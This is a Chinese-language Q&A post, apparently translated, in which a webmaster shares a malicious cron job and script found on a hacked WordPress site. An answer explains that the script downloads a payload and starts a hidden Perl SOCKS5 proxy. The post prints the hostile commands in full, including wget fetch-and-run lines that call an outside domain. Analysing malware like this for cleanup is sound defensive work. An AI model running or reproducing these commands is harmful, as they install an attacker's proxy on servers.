显然,我在网站上做了一些志愿者工作,是最近一次黑客利用wordpress中的一些漏洞攻击的几千个网站之一。违规的结果是在网站上添加了一个cron作业:
0 */48 * * * cd /tmp;wget clintonandersonperformancehorses.com/test/test;bash test;cd /tmp;rm -rf test
它所拉的文件就是这个(显然,不要试图执行这个......)
killall -9 perl
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
sh getip >>bug.txt
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
bash mbind clean.txt
bash binded.txt
cd ..
rm -rf stest
我希望有人能告诉我它的作用?我清理了cron工作,并将遵循所有其他可用的建议再次保护网站,但我担心可能已经做了一些不那么明显的额外损坏。我只是无法弄清楚该文件实际上在做什么。
答案 0 :(得分:3)
我无法弄清楚该文件究竟在做什么。
总之,它会杀死所有perl进程,然后在所有计算机的外部IP地址上启动SOCKS5服务器。
更详细地说,让我们逐行查看脚本:
killall -9 perl
这会杀死所有perl
进程。
cd /tmp
wget clintonandersonperformancehorses.com/test/stest.tar
tar -vxf stest.tar
rm -rf stest.tar
cd stest
上面下载文件stest.tar
并将其解压缩到/tmp/stest
目录中,删除tar
文件,然后进入现在保存下载文件的目录。
sh getip >>bug.txt
getip
脚本是stest.tar
的一部分,使用icanhazip.com
查找您的公共IP地址并将其存储在文件bug.txt
中。
/sbin/ifconfig |grep "inet addr" |grep -v 127.0.0 |grep -v \:.192\. |awk -F ':' '{print $2}' |awk -F ' ' '{print $1}' >>bug.txt
cat bug.txt |sort |uniq >clean.txt
rm -rf bug.txt
上述内容使用ifconfig
检查您的计算机应答的任何其他非本地IP地址,并将其添加到bug.txt
。将删除重复项,并将最终的公共IP地址列表保存在文件clean.txt
中。
bash mbind clean.txt
这是剧本的核心。 mbind
是stest.tar
的一部分,在inst
中的每个IP地址上运行脚本clean.txt
。对于该IP地址,inst
,也是stest.tar
的一部分,随机选择一个端口并启动"简单SOCKS5服务器for Perl"在那个IP和那个端口上。
更具体地说,运行的SOCKS服务器是 Perl的简单袜子服务器的版本1.4,可以是downloaded from sourceforge.这里使用的版本与sourceforge的区别仅在于次要方面:a帮助消息被抑制,md5选项被删除,并且IP和端口包含在脚本中,而不是在命令行中传递。我怀疑后者更改的目的是使脚本的命令行在使用ps
等实用程序查看时看起来相对无害。
bash binded.txt
脚本binded.txt
由inst
创建。它显然对SOCKS5服务器进行了检查。
cd ..
rm -rf stest
最后一部分只是清理。它会删除所有未经标记的文件以及脚本创建的临时文件。
脚本inst
(.tar文件的一部分)使用以下命令启动每个SOCKS服务器:
/usr/bin/perl httpd
要查看是否仍在运行,请查看ps wax
的输出,看看是否看到该命令。如果这样做,请使用kill
命令将其停止。